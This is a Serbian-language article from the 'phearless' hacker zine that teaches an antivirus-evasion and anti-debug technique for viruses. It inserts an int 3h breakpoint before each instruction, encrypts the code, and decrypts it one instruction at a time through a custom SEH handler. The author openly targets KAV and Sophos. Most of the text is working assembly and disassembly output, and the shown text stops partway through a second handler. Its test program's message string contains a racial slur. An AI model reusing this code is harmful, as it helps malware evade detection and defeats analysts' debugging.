Copy Link
Add to Bookmark
Report

2x02 Runtime Decryption and Meta Swap Engine

eZine's profile picture
Published in 
phearless
 · 14 Jan 2024

 
...................
...::: phearless zine #2 :::...

.............>---[ Runtime Decryption and Meta Swap Engine ]---<...............

...........................>---[ by deroko ]---<...............................
deroko[at]gmail[dot]com
http://deroko.headcoders.net

Runtime dekripcija

Runtime Dekripcija Teorija

Ovo bi znacilo da je kod enkriptovan i da se tokom samog izvrsavanja dekriptuje.
Posto sam kratak sa vrmeneom, moram da napisem ono do cega sam ja dosao i ono sto
kod mene radi. Ovaj kod nisam opet zbog vremena bio u mogucnosti da uradim da se
prosto ubacuje u kod nekog virusa kao i moj Meta-swap-engine.
Naime runtime dekripcija se sastoji u tome da moramo nekako dekriptovati sledecu
instrukciju pre nego sto EIP pokaze na nju. To se najbolje moze postici preko
int 3h koja ce signalizirati breakpoint. Zatim moramo postaviti nas SEH handle
koji ce da procesira ovaj exception. Dobra strana ovog koda je u tome sto ce
debuggeri da uhvate int 3h kao breakpoint i nas SEH nece biti ucitan. Dakle
anti-debug tehnika koja moze lepo da posluzi. Ne savrsena, ali lepo radi.
Nedovrsena tehnika ali ce lepo posluziti ako zelite da se bavite ovom tematikom.

Problemi koje sam imao i sa kojima sam se susreo.

Prvo i osnovno je da u glavi imate nacisto sta cete da radite jer u suprotnom
cete naleteti na gomilu problema koji mogu u pocetku da izgledaju bezazleno. Ja
licno kad sam ovo poceo da pisem nisam u glavi imao nacisto sta hocu, vec sam
samo znao da ocu int 3h da koristim, kako sta gde? Pojma nisam imao jer nisam
dugo mislio o tome. Dakle papir/olovka ideja, to je nekih 2-3 sata razmisljanja,
a tako cete sacuvati dosta vremena kod pisanaj koda i znacete sta treba da se
menja ili gde moze da ne pasuje. Pogotovo je jebeno ako ovaj kod tracujete kroz
neki debugger jer int 3 kao sto rekoh hvata debugger tako da necete moci da
pratite izvrsavanje svog koda. Ali o tome kako pratiti i sta ciniti cemo na kraju.
Drugi problem koji je malo, da kazem, ahhhmm jeben, jeste jmp/call/jcc koji se
moraju preurediti kako bi preskocili silne int 3 koje smo ubacili ispred svake
instrukcije. Engin trenutno moze da se izbori sa short relativnim call i short
jcc/jmp koji idu napred i unatraske :) Sto potvrdjuje kod koji sam dao za
testiranje. Naime svaku instrukciju moramo posmatrati kao jednu grupu.
Dakle ovako nesto :
1. mov eax, ebx
2. push eax
3. pop ebx
4. call __negde
Svaka instrukcija i int3h ispred nje predtsavlja posebnu grupu:
1. int 3h
mov eax, ebx
2. int 3h
push eax
3. int 3h
pop ebx
4. int 3h
call __negde

Dakle kao sto vidimo moramo razmisljati ko da imamo grupu instrukcija gde se
svaka sastoji od int 3h i nase instrukcije. Ukoliko zelite lakse ovo da kodirate,
mozete jednostavno napraviti makro koji ce sve umesto vas uraditi:
fuck_kav_sophos macro param
int 3h
param
endm

i kodirate ovako nesto:
fuck_kav_sophos <mov eax, ebx>

Mada to resenje jeste elegantno, ali nije zanimljivo :) Jer Assembler ce sam
modifikovati sve call/jmp/jcc bilo kakvi da su dirketni, indirektni, kratki,
dugi :) A mi zelimo da rucno sve uradimo a zamislite kod virusa koji izgleda ovako :
fuck_kav_sophos <call [ebp.pMessageBoxA]>

i tako dalje i tako dalje, mada, normalno ime moze da bude krace, ali ja licno
mrzim KAV i Sophos i zato koristim ovakva imena za moje makroe, a ako se procitali
moj tekst o BlackHand.w32 onda me i razumete sto takve macro-e koristim.
No zavisnosti od toga, da li koristimo makroe ili pak koristimo generisanje
int 3h u nasem kodu nas pristup je drugaciji i daleko slozeniji.

Budimo ludi i ne koristimo makro:

Ok ovaj deo je mnogo slozeniji nego sto na prvi pogled moze da izgleda. Algoritam
za to je sledeci.
1. Nadjimo duzinu svih instrukcija i ubacimo ih u neki buffer
2. Prelistajmo taj buffer i dodajemo int 3h ispred svake instrukcije int 3h
3. Redirektujemo nekoliko jmp/call/jcc
4. Kriptujemo sve instrukcije sa nekim lakim algoritmom
5. Namestimo nas SEH koji ce on-da-fly da dekriptuje pojedinacno svaku
instrukciju

1. Trazenje duzine instrukcija nije lak posao ako odlucite to sami da radite i
da sami piste engin za to. Zato ja koristim uNdErX-ov MLDE32, a na raspolaganju
vam stoje jos 2 dobra engina, a to su z0mbie - LDE i roy 'g' biv - RGBLDE koji
su fenomenalni i koji ce takodje lepo odraditi posao za vas. A download za njih
mozete naci u delu reference(VX Heavens).
Kod koji ce to odraditi za nas je sledeci :

__find_len: call mlde32, ebx
stosd
add ebx, eax
cmp ebx, offset __end_dummy
jb __find_len

Pri cemo edi pokazuje na buffer koji cuva duzinu instrukcija, a ebx na deo koda
ciju duzinu instrukcija trazimo. Ovaj deo je prost kad imate gotov LDE (Length
Dissasembler Engin), ali ako zelite da piste svoj, zelim vam puno srece u
analiziranju tablica sa instrukcijama koje se mogu naci u intell developer IA32
Guide - Volume 2. Dakle jednom recju srecno, ako ste ludi da sami trazite duzinu
instrukcija.

2. Ok posto sad znamo kolika je duzina svake instrukcije moramo ispred svake
dodati int 3h. Dakle moramo imati i poseban buffer u kome cemo konstruisati novi
kod. Algoritam je sledeci u buffer stavljamo int 3h, zatim kopiramo instrukciju,
onda opet int 3h pa opet kopiramo instrukciju i tako u krug.
Kod koji to radi za nas je sledeci:
mov edx, instrlen ;when intstrlen == 0 end of code
mov esi, offset __dummy ;offset of code
mov edi, memptr ;new buffer in edi
__cycle_and_store: mov al, int3opcode
stosb
mov ecx, dword ptr[edx]
rep movsb
add edx, 4
cmp dword ptr[edx], null
jne __cycle_and_store

Dakle krajnje prosto, edx ima buffer koji cuva duzinu instrukcija, esi pocetak
koda, a edi pokazuje na buffer u kojicemo kopirati instrukcije. I idemo:
mov al, int3opcode ;gde je int3opcode = 0xCC
stsob ;stavimo int3 ispred instrukcije
mov ecx, dword ptr[edx] ;u ecx ide duzina instrukcije
rep movsb ;kopirajmo instrukciju u buffer
add edx, 4 ;duzina sledece instrukcije
cmp dword ptr[edx], null ;da li je duzina sledece instrukije 0?
jne __cycle_and_store ;ne - idemo opet u petlju, da - zavrsili
;smo sa ovim delom

3. Ovo je ubedljivo najtezi deo koda, ovde cu izloziti teoriju, a u kodu mozete
videti kako to radi, pa cete shvatiti sto je moj predlog koristi makroe prilikom
kodiranja ovakvog koga. Prvo moramo razmisliti sta to i kako cemo redirectovati?
Nas algoritam za reloakciju jmp/jcc/call zavisi od toga da li je u pitranju
jcc/jmp ili call, a za svaki od njih da li sakcemo napred ili unazad.
Prvo moramo znati duzinu ovih instrukcija unapred i znati koje da procesiramo
kroz nas algoritam cime umanjujemo vreme koje nam je potrebno za relokaciju i
kod ide brze. Takodje moramo znati tacno sta cemo procesirati kroz kod. jmp/jcc
2 byte, call relativni 5 byte. Dakle procesiramo instrukcije koje su duge 2 i 5
byte, a pritom proveravamo da li je u pitanju call ili jmp/jcc, a u okvirus svake
od njih moramo proveriti da li je u pitanju signed ili usnigned i onda ih po tom
principu redirektovati. Kod koji radi ovaj deo drugi deo posla je malo konfuzan
i ni meni nije licno jasno sta sam ja tu sve radio, ali imate kod pa mozete
pogledati. Ja cu se ovde kratko osvrnuti samo na algoritam koji procesira duzinu
instrukcija:

mov esi, memptr
inc esi ;skip int 3h
mov edx, instrlen
__cycle_lens: cmp dword ptr[edx], null
je __@@3
cmp dword ptr[edx], 2 ;is it jcc/jmp opcode len?
je __change_jccjmpcall
cmp dword ptr[edx], 5 ;is it call maybe?
jne _@3
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; check for call/jmp/jcc
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
__change_jccjmpcall:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
lodsb
cmp al, callopcode
je __call
cmp al, jmpopcode
je __jmp_jcc
and al, 11110000b
cmp al, jccopcode
je __jmp_jcc
dec esi
jmp _@3

Dakle to je algoritam za procesiranje shot jmp/jcc i relativnog near call s tim
sto je kod koji vrsi redirekciju jmp/call/jcc malko slozeniji. On u sustini radi
ovako: Uzimimo offset na koji pokazuje jmp/jcc/call (ubuduce jjc skraceno), zatim
uzmemo duzinu instrukcija i oduzimamo od offseta duzinu instrukcija pri cemu
moramo voditi racuna koliko instrukcija imzedju ima. Ja korsitim ecx kao counter
jer za svaku instrukciju moramo dodati 1 sto je jednako duzini int 3 + instrukcija.
Kad dodjemo do 0, uzmemo raniju vrednost i na nju dodamo/oduzmemo broj koji je
dobijen u counteru (ecx u ovom slucaju) i na taj nacin smo izvrsili uspesno
redirekciju jjc. Pri tom moramo voditi racuna da li je rec o jcc koji idu napred
ili unazad. Kod koji to proverava je sledeci (obratite paznju da jmp/jcc su
praceni sa 1byte offsetom dok je call pracen sa 4 byte):

jccsigned equ 80h
callsigned equ 80000000h

test al, jccsigned ; napred ili nazad
jnz __jcc_backward ; <- jcc/jmp ide unazad

test eax, callsigned ; napred ili nazad?
jnz __call_backward ; <- call ide unazad

U zavisnosti od napred/nazad nas algoritam je razlicit ali za to vam prepustam
kod, jer sam se i ja namucio da sve to odradim :)

4. Posto smo sve ovo zavrsili, red je da kriptujemo instrukcije nekim laganim
algoritmom, ja sam se odlucio za ror al, 4 ili rol al, 4 jel su oba ista kad se
koriste sa brojem koji predtavlja sredinu registra:
ror eax, 16 = rol eax, 16
ror ax, 8 = rol ax, 8
rol al, 4 = rol al, 4
No nebitno, ono sto je kljucno sto sam se opredelio za ovaj algoritam jeste sto
mogu mirne duse da na taj nacin kriptujem ceo buffer bez brige da ce se int 3h sjebati.
int 3h opcode = 0xCC kad ga rolujemo za 4 on je opet 0xCC pa mi taj algoritam
dodje nekako lepsi. Normalno da mozete da kriptujete na druge nacine ali morate
voditi racuna o tome da int 3h ostane netaknut u tom slucaju. Kod koji radi ovu
prostu enkripciju je sledeci:

mov edx, instrlen
xor ecx, ecx
xor ebx, ebx
xor eax, eax
__len_of_memptr: inc ecx
add ecx, dword ptr[edx]
add edx, 4
cmp dword ptr[edx], null
jne __len_of_memptr
mov esi, memptr
mov edi, esi
__crypt_memptr: lodsb
ror al, 4
stosb
loop __crypt_memptr
Algoritam je prost, izracunamo duzinu svih instrukcija i za svaku instrukciju
inkremenujemo ecx koji ce nam na kraju reci koliko je duzina buffera + int 3h
ispred svake instrukcije. Posle toga idemo prost loop sa lodsb/stosb i enkripcijom
izmedju ( ror al, 4) To je to buffer je enkriptovan, a evo i kako zigleda sa i
bez enkripcije:

00830000 CC INT3
00830001 B8 3CCCB81D MOV EAX,1DB8CC3C
00830006 CC INT3
00830007 8EE7 MOV FS,DI ; Modification of segment register
00830009 0000 ADD BYTE PTR DS:[EAX],AL
0083000B 00CC ADD AH,CL
0083000D AB STOS DWORD PTR ES:[EDI]
0083000E FFFF ??? ; Unknown command
00830010 FFFF ??? ; Unknown command
00830012 CC INT3
00830013 BE E6CC05CC MOV ESI,CC05CCE6
00830018 B8 444240CC MOV EAX,CC404244
0083001D 384C40 CC CMP BYTE PTR DS:[EAX+EAX*2-34],CL
00830021 33BD CC18BE19 XOR EDI,DWORD PTR SS:[EBP+19BE18CC]
00830027 FF68 78 JMP FAR FWORD PTR DS:[EAX+78] ; Far jump
0083002A CC INT3
0083002B 35 CC183F70 XOR EAX,703F18CC
00830030 56 PUSH ESI
00830031 51 PUSH ECX
00830032 41 INC ECX
00830033 CC INT3
00830034 35 CCB8CFCC XOR EAX,CCCFB8CC
00830039 33BD CC18BE00 XOR EDI,DWORD PTR SS:[EBP+BE18CC]
...

I bez enkripcije kako to izgleda:

00830000 CC INT3
00830001 8BC3 MOV EAX,EBX
00830003 CC INT3
00830004 8BD1 MOV EDX,ECX
00830006 CC INT3
00830007 E8 7E000000 CALL 0083008A
0083000C CC INT3
0083000D BA FFFFFFFF MOV EDX,-1
00830012 CC INT3
00830013 EB 6E JMP SHORT 00830083
00830015 CC INT3
00830016 50 PUSH EAX
00830017 CC INT3
00830018 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4]
0083001C CC INT3
0083001D 83C4 04 ADD ESP,4
00830020 CC INT3
00830021 33DB XOR EBX, EBX
...

Dakle potpuno isti kod samo kriptovan, i potpuno mu je promenjen smisao.

5. Najvazniji deo ovog koda je u SEHu. Naime int 3h generise izuzetak (exception)
koji debuggeri hvataju i on nije nista drugo do breakpoint, no medjutim mi moramo
da napravimo nas SEH koji ce uhvatit int 3h, za zatim dekriptovati instrukciju
iza njega i prenete izvrsavanje koda na tu instrukciju do sledeceg int 3h, krajnje
lepo i jasno. Priliko setovanja SEHa, ovo valjda znate, nama je najvazniji treci
parametar koji ta struktura prima, a to je pointer na CONTEXT od programa ciji
je exception uhvacen. CONTEXT je struktura koja sadrzi sve registre koje program
koristi, ali je nama najbitniji EIP jer buduci da EIP pokazuje na int3 iza koje
sledi instrukcija, znamo gde treba da vrsimo dekripciju i dokle da je vrsimo
(do sledeceg int 3h). Lepota ovog koda je u tome sto ce debugger, biti nemocan
pred ovim kodom buduci da ce on hvatati int 3h kao breakpoint. Dakle nesumnjivo
ANTI-DEBUG tehnika. No kako taj SEH izgleda u praksi:

sehhandle proc C pException:DWORD, pFrame:DWORD, pContext:DWORD, param:DWORD
mov ebx, pContext
mov esi, [ebx.CONTEXT_Eip]

inc esi
mov edi, esi
__decrypt: lodsb
ror al, 4
stosb
cmp al, int3opcode
jne __decrypt
mov ebx, pContext
inc [ebx.CONTEXT_Eip]
xor eax, eax
ret
sehhandle endp

Dakle ebx pokazuje na CONTEXT i u esi stavljamo EIP odnosno mesto gde se pojavio
exception, takodje moj savet je da proveravamo da li je rec o int 3h exceptionu
preko pException jer cemo tako lako moci da znamo da li je to exception koji ovaj
SEH treba da procesira ili pak neki drugi u nizu koji budemo postavili(program
moze da ima vise SEH recimo po jedan za svaku gresku)
Idemo dalje :
inc esi
pokazuje na kriptovanu instrukciju koja ide odma iza int 3h
i onda idemo ista dekripcija ko i enkripcija
lodsb
ror al, 4
stosb
i tako u krug dok ne naidjemo na sledeci int3opcode
Posle toga uvecavamo EIP za 1 kako bi program nastavio izvrsavanje sa dekriptovane i
instrukcije setujemo eax na 0 kako bi nastavili izvrsavanje sa mesta na koje
pokazuje EIP i voila sve u krug dok nas kod ne zavrsi sa izvrsavanjem samog sebe.

U test programu koji sam prilozio mozzete videti kako to radi u praski.

Budimo pametni i koristimo MAKROe:

Na ovaj nacin izbegavamo sve probleme sa kojima smo se susretali malopre, lepo
Mental Driler kaze RAZMISLJAJTE MAKROIMA. Ovo resenje je tako lako i elegantno
da ja nemam reci. Ako ste ludi i mazohista koristicete gornje resenje, medjutim
ako ste pametni kao sto ja nisam bio onda cete odma udariti na makroe i resicete
sve svoje muke. Ono sto vam nisam rekao na pocetku, a bitno je da se kod mora
zavrsiti sa int 3h na kraju kako bi nas SEH znao dokle da dekriptuje postojecu
instrukciju.

Dakle evo su dva makroa koje ja koristim u te svrhe:

fuck_kav_sophos macro param
int 3h
param
endm

end_fuck_kav_sophos_code macro
int 3h
endm

I kod koji te makroe koristi:


__fuck_kav_sophos: fuck_kav_sophos <push 0>
fuck_kav_sophos <push offset mTitle>
fuck_kav_sophos <push offset mText>
fuck_kav_sophos <push 0>
fuck_kav_sophos <call MessageBoxA>
fuck_kav_sophos <call __dummy>
fuck_kav_sophos <push 0>
fuck_kav_sophos <call ExitProcess>
__dummy: fuck_kav_sophos <push eax>
fuck_kav_sophos <jmp __dummy2>
__dummy3: fuck_kav_sophos <pop eax>
fuck_kav_sophos <ret>
__dummy2: fuck_kav_sophos <mov eax, 0deadc0deh>
fuck_kav_sophos <jmp __dummy3>
end_fuck_kav_sophos_code
__end_fuck_kav_sophos:

I kao sto vidite malo je komplikovano pisati ga, ali ako makro ima krace ime onda
ne vidim nikakav problem tu. Recimo fks makro bi mogao da se zove, skraceno od
fuck_kuv_sophos.(ovo dummy, dummy2 i dummy3 su tu cisto zbog testiranja koda)

Seh je isti kao i gore, call/jmp/jcc su automatski sredjeni od strane kompajlera
i nama ostaje samo da se smejemo glupacima iz KAV i Sophosa dok analiziraju
ovakav kod. Da ne bude zabune, evo kako kod izgleda pre i posle enkripcije:

00401024 |. CC INT3
00401025 |. 6A 00 PUSH 0 ; /Style = MB_OK|MB_APPLMODAL
00401027 |. CC INT3 ; |
00401028 |. 68 00204000 PUSH makro.00402000 ; |Title = "hello"
0040102D |. CC INT3 ; |
0040102E |. 68 06204000 PUSH makro.00402006 ; |Text = "Yo mY nIgGaZ"
00401033 |. CC INT3 ; |
00401034 |. 6A 00 PUSH 0 ; |hOwner = NULL
00401036 |. CC INT3 ; |
00401037 |. E8 4E000000 CALL <JMP.&USER32.MessageBoxA> ; \MessageBoxA
0040103C |. CC INT3
0040103D |. E8 09000000 CALL makro.0040104B
00401042 |. CC INT3
00401043 |. 6A 00 PUSH 0 ; /ExitCode = 0
00401045 |. CC INT3 ; |
00401046 \. E8 39000000 CALL <JMP.&KERNEL32.ExitProcess> ; \ExitProcess
0040104B /$ CC INT3
0040104C |. 50 PUSH EAX
0040104D |. CC INT3
0040104E |. EB 04 JMP SHORT makro.00401054
00401050 |> CC INT3
00401051 |. 58 POP EAX
00401052 |. CC INT3
00401053 |. C3 RETN
00401054 |> CC INT3
00401055 |. B8 DEC0ADDE MOV EAX,DEADC0DE
0040105A |. CC INT3
0040105B \.^EB F3 JMP SHORT makro.00401050
0040105D CC INT3

I posle nase drage enkripcije to izgleda ovako :

00401024 |. CC INT3
00401025 |. A6 CMPS BYTE PTR DS:[ESI],BYTE PTR ES:[EDI] ; /Style
00401026 |? 00CC ADD AH,CL
00401028 |. 8600 XCHG BYTE PTR DS:[EAX],AL ; |Title
0040102A |? 020400 ADD AL,BYTE PTR DS:[EAX+EAX]
0040102D |. CC INT3 ; |
0040102E |. 8660 02 XCHG BYTE PTR DS:[EAX+2],AH ; |Text
00401031 |? 04 00 ADD AL,0
00401033 |. CC INT3 ; |
00401034 |. A6 CMPS BYTE PTR DS:[ESI],BYTE PTR ES:[EDI] ; |hOwner
00401035 |? 00CC ADD AH,CL
00401037 |. 8EE4 MOV FS,SP ; \MessageBoxA
00401039 |? 0000 ADD BYTE PTR DS:[EAX],AL
0040103B |? 00CC ADD AH,CL
0040103D |. 8E90 000000CC MOV SS,WORD PTR DS:[EAX+CC000000] ; Modification of segment register
00401043 |. A6 CMPS BYTE PTR DS:[ESI],BYTE PTR ES:[EDI] ; /ExitCode
00401044 |? 00CC ADD AH,CL
00401046 \. 8E93 000000CC MOV SS,WORD PTR DS:[EBX+CC000000] ; \ExitProcess
0040104C |. 05 CCBE40CC ADD EAX,CC40BECC
00401051 |. 85CC TEST ESP,ECX
00401053 |. 3C CC CMP AL,0CC
00401055 |. 8BED MOV EBP,EBP
00401057 |? 0C DA OR AL,0DA
00401059 |? ED IN EAX,DX ; I/O command
0040105A |. CC INT3
0040105B \. BE 3FCCC800 MOV ESI,0C8CC3F

Carobno, magicno, predivno, zamislite nekoga ko gleda ovaj kod!? Jos sto je
najgore debugger hvata int 3h, ali ga ne prebacuje nasem SEHu i tako kod ostaje
ne dekriptovan. Jedino moze neki mazohista da ide rucno pa da dekriptuje
instrukciju po instrukciju, ali to je sizifov posao. Takodje moze i da se ubaci
slozenija enkripcija pojedinih instrukcija, ali je mana sto int 3h ne sme da bude
kriptovan. Razlog tome je kad imamo jmp/jcc/call, jer ako kriptujemo int3h na
mestima gde jjc skace mozemo otici na nepredvidivo mesto jer kriptovani int 3h
nece biti pravilno procitan od stane CPU i dobicemo gresku koju necemo znati da
lepo preradimo :) No i za to ima resenja.

Ok posto zelimo da nas kod bude stealth sto vise, i da sakrijemo gomilu ovih 0xCC
(int 3h) mozemo pribeci nekim trikovima. Nas probelm predstavljaju, kao sto sam
malopre napomenuo jmp/jcc/call prilikom skakanja na kriptovan int 3h. U nacelu
mozemo da imamo dva resenja:
1. Da pratimo call/jmp/jcc i da na tim mestima ostavimo int 3h vidljiv (ovo je
teze resenje)
2. Da postavimo markere koji bi nasem kripteru rekli koji int3h da ne dira.

Prvo resenje odbacujem, jer nije elegantno i puno kodiranja treba.
Drugo resenje je mnogo bolje i lakse, jer lako mozemo naci set instrukcija koje
se veoma retko koriste i samim tim mozemo proveravati da li je o njima rec. U te
svrhe ja koristim sledeci makro:

fuck_kav_sophos_call_block macro
pushf
popf
endm

Dakle tokom enkripcije samo trebamo proveriti da li je rec o ove dve instrukcije
i sam tim cemo znati da li int 3h treba ili ne treba dirati. Kod koji ce to
odraditi je sledeci:

mov ecx, __end_fuck_kav_sophos - __fuck_kav_sophos - 1
mov esi, offset __fuck_kav_sophos
inc esi
__cycle_crypt: cmp word ptr[esi], magic
jne __cont_crypt
add esi, 3 ;skip int3 after magic code
sub ecx, 2
jmp __looping
__cont_crypt: xor byte ptr[esi], 0DEh
inc esi
__looping: loop __cycle_crypt

Na ovaj nacin cemo omoguciti da se ne kriptuje int 3h posle pushf/popf kombinacije.
Medjutim ovde ima i par trikova na koje moramo paziti. Moj algoritam dekriptuje
instrukcije tako sto dekriptuje trenutni instrukciju i int 3h iza nje. Medjutim,
problem nastaje ako mi imamo ovakvu situaciju:

fuck_kav_sophos <call __dummy>
__dummy: fuck_kav_sophos_call_block
fuck_kav_sophos <mov eax, eax>

Ako to prebacimo u asm, imamo sledecu situaciju:
1. int 3h
2. call __dummy
3.__dummy: pushf
4. popf
5. int 3h
6. mov eax, eax

Kad moj SEH shvati da je u pitanju int 3h ispred call __dummy on ce dekriptovati
instrukcije dok ne nadje int 3h. U ovom slucaju on ce poceti od linije 2. i
zavristi na liniji 5. gde ce dekodirati int 3h u ispravnu instrukciju, ali ce u
na tom putu unistiti pushf/popf kombinaciju i kad SEH prebaci kontrolu na call
__dummy mi cemo uleteti na unistene pushf/popf i nas program ce pasti. Trik ka
zaobilazenju ovog je opet koriscenje int 3h. Dakle gornji kod prepisan bi trebalo
ovako da izgleda:
1. int 3h
2. call __dummy
3. int 3h
4.__dummy: pushf
5. popf
6. int 3h
7. mov eax, eax

ovako ce SEH znati da dekriptuje call do sledeceg int 3h, trik nije u tome da se
int 3h stavi iza call, vec ispred fuck_kav_sophos_call_block makroa. Ja u te
svrhe koristim makro marker i on je kranje prost:

marker macro
int 3h
endm

Kod bi trebalo ovako da izgleda kako bi uspesno radio:

fuck_kav_sophos <call __dummy>

marker ;<--------evo ga marker!!!!
__dummy: fuck_kav_sophos_call_block
fuck_kav_sophos <mov eax, eax>

Medjutim, ajmo dalje i recimo da hocemo da ubacimo neki kod ili eventualno neki
SEH koji je pisao Jacky Qwerty. Recimo kad proveravamo da li je EXE validan PE,
moze se desiti (veoma retko ali moze) da je offset koji pokazuje na PE negativan
broj i da cemo njegovim dodavanjem na base adresu mapiranog fajla skociti bog te
pita gde, sto ce prouzrokovati Exception. No jacky qwerty je u svojim fenomenalnim
include fajlovima, koji su za pisanje virusa "must have" napravio odlicna dva makroa
za procesiranje gresaka. No problem sa njima je sto svaku gresku hvataju i skacu
tamo gde smo mi odredili. Ukoliko ovakav SEH postavimo pre naseg dekriptor SEH,
nas SEH nece ni moci da dekriptuje instrukcije. U te svrhe ja izbegavam da
koristim fuck_kav_sophos makro, dok se nalazimo u okviru koda koji moze da pukne
(ali i ne mora). Problem je ovde opet isti kao i call/jmp/jcc jer gore instrukcije
nece reci nasem SEH gde je kraj. Doduse ovo nije problem jer cemo dekriptovati
instrukciju iz fuck_kav_sophos makroa, ali i gole instrukcije do sledeceg makroa.
Rezmotrimo sledeci kod:
1. fuck_kav_sophos <call MessageBoxA>
2. @SEH_SetupFrame <jmp __safe>
3. xor eax, eax
4. mov dword ptr[eax], eax
5.__safe: @SEH_RemoveFrame
6. fuck_kav_sophos <call __dummy>

Nas SEH ce dekriptovati od linije 1 do linije 5 (i liniju 5 ujedno), medjutim ja
hocu da se dekriptuje instrukcija po instrukcija. Dakle resenje je pre golog koda
ubaciti opet int 3. Ja za to opet koristim makro (iako moze rucno, ali mi je
lakse da analiziram kod)

fuck_kav_sophos_code_block macro
int 3h
endm

Znaci opet dajemo znak nasem SEH dekriptoru gde da se zaustavi. I da ne dekriptuje
vise nego sto bi trebalo da dekriptuje. Da iskren budem, ovaj deo je sasvim
opcionalan i nije ga neophodno koristiti uopste. Ali eto ja sam se zainatio da
se sve dekriptuje svojim redom i tako neka i bude.
Sve u svemu prepravljen kod bi izgledao nesto ovako:

fuck_kav_sophos <call MessageBoxA>

fuck_kav_sophos_code_block
@SEH_SetupFrame <jmp __safe>
xor eax, eax
mov dword ptr[eax], eax
__safe: @SEH_RemoveFrame

fuck_kav_sophos <call __dummy>
I sad ce SEH da dekriptuje <call MessageBoxA>, i onda ce posebno dekriptovati
nase instrukcije. Opet da napomenem, ovo je opcionalno i nije neophodno. Takodje
se podrazumeva da posle svog code block-a imate i fuck_kav_sophos makro kako bi
SEH znao dokle da dekriptuje.
Sad da vidimo kako taj kod izgleda u ASM kroz novu enkripciju/dekripciju:

00401033 . CC INT3
00401034 . 6A 00 PUSH 0 ; /Style = MB_OK|MB_APPLMODAL
00401036 . CC INT3 ; |
00401037 . 68 00204000 PUSH makro2.00402000 ; |Title = "hello"
0040103C . CC INT3 ; |
0040103D . 68 06204000 PUSH makro2.00402006 ; |Text = "Yo mY nIgGaZ"
00401042 . CC INT3 ; |
00401043 . 6A 00 PUSH 0 ; |hOwner = NULL
00401045 . CC INT3 ; |
00401046 . E8 82000000 CALL <JMP.&USER32.MessageBoxA> ; \MessageBoxA
0040104B . CC INT3
0040104C . E8 06000000 CALL makro2.00401057
00401051 . 8B6424 08 MOV ESP,DWORD PTR SS:[ESP+8]
00401055 . EB 0C JMP SHORT makro2.00401063
00401057 /$ 33D2 XOR EDX,EDX
00401059 |. 64:FF32 PUSH DWORD PTR FS:[EDX]
0040105C |. 64:8922 MOV DWORD PTR FS:[EDX],ESP
0040105F |. 33C0 XOR EAX,EAX
00401061 |. 8900 MOV DWORD PTR DS:[EAX],EAX
00401063 |> 33D2 XOR EDX,EDX
00401065 |. 64:8F02 POP DWORD PTR FS:[EDX]
00401068 |. 5A POP EDX
00401069 |. CC INT3
0040106A |. E8 0A000000 CALL makro2.00401079
0040106F |. CC INT3
00401070 |. 6A 00 PUSH 0 ; /ExitCode = 0
00401072 |. CC INT3 ; |
00401073 \. E8 4F000000 CALL <JMP.&KERNEL32.ExitProcess> ; \ExitProcess
00401078 CC INT3
00401079 $ 9C PUSHFD
0040107A . 9D POPFD
0040107B . CC INT3
0040107C . 50 PUSH EAX
0040107D . CC INT3
0040107E . EB 08 JMP SHORT makro2.00401088
00401080 CC INT3
00401081 > 9C PUSHFD
00401082 . 9D POPFD
00401083 . CC INT3
00401084 . 58 POP EAX
00401085 . CC INT3
00401086 . C3 RETN
00401087 CC INT3
00401088 > 9C PUSHFD
00401089 . 9D POPFD
0040108A . CC INT3
0040108B . B8 DEC0ADDE MOV EAX,DEADC0DE
00401090 . CC INT3
00401091 .^EB EE JMP SHORT makro2.00401081
00401093 CC INT3

i kriptovano i spremno za izvrsavanje :

00401033 . CC INT3
00401034 . B4 DE MOV AH,0DE ; /Style
00401036 . 12B6 DEFE9EDE ADC DH,BYTE PTR DS:[ESI+DE9EFEDE] ; |
0040103C . 12B6 D8FE9EDE ADC DH,BYTE PTR DS:[ESI+DE9EFED8] ; |
00401042 . 12B4DE 12365CD>ADC DH,BYTE PTR DS:[ESI+EBX*8+DE5C3612] ; |
00401049 ? DEDE FICOMP ESI ; Illegal use of register
0040104B . 1236 ADC DH,BYTE PTR DS:[ESI]
0040104D ? D8DE FCOMP ST(6)
0040104F ? DEDE FICOMP ESI ; Illegal use of register
00401051 . 55 PUSH EBP
00401052 ? BA FAD635D2 MOV EDX,D235D6FA
00401057 /$ ED IN EAX,DX ; I/O command
00401058 |? 0C BA OR AL,0BA
0040105A |? 21EC AND ESP,EBP
0040105C |. BA 57FCED1E MOV EDX,1EEDFC57
00401061 |. 57 PUSH EDI
00401062 |? DEED FSUBP ST(5),ST
00401064 |? 0C BA OR AL,0BA
00401066 |? 51 PUSH ECX
00401067 |? DC8412 36D4DED>FADD QWORD PTR DS:[EDX+EDX+DEDED436]
0040106E |? DE12 FICOM WORD PTR DS:[EDX]
00401070 |. B4 DE MOV AH,0DE ; /ExitCode
00401072 |. 1236 ADC DH,BYTE PTR DS:[ESI] ; |
00401074 ? 91 XCHG EAX,ECX
00401075 ? DEDE FICOMP ESI ; Illegal use of register
00401077 ? DE12 FICOM WORD PTR DS:[EDX]
00401079 $ 9C PUSHFD
0040107A . 9D POPFD
0040107B . CC INT3
0040107C . 8E12 MOV SS,WORD PTR DS:[EDX] ; Modification of segment register
0040107E . 35 D6129C9D XOR EAX,9D9C12D6
00401083 . CC INT3
00401084 . 8612 XCHG BYTE PTR DS:[EDX],DL
00401086 . 1D 129C9DCC SBB EAX,CC9D9C12
0040108B . 66:001E ADD BYTE PTR DS:[ESI],BL
0040108E ? 73 00 JNB SHORT makro2.00401090
00401090 . 1235 3012C800 ADC DH,BYTE PTR DS:[C81230]
00401096 |? 0000 ADD BYTE PTR DS:[EAX],AL


SEH se moze i bilo bi ispravno modifikovati ga samo da procesira BREAKPOINT_EXCEPTION,
jer ce se desiti da ce ovaj program prilikom debugovanja puci i prostim predavanjem
SEHu da ga handluje imacemo problem u tome sto ce on poceti da dekriptuje
instrukcije, medjutim ako mi proverimo da li je rec o breakpointu, (a is debuggera
je SEHu predato izvrsavanje zbog Access Violation) nas SEH ce ostati ravnodusan.
Prema tome, novi i bolje uradjen SEH ce izgledati ovako:

sehhandle proc C pException:DWORD, pFrame:DWORD, pContext:DWORD, param:DWORD
mov eax, 1
mov ebx, pException
cmp [ebx.ER_ExceptionCode], EXCEPTION_BREAKPOINT
jne __exit_seh
mov ebx, pContext
mov esi, [ebx.CONTEXT_Eip]
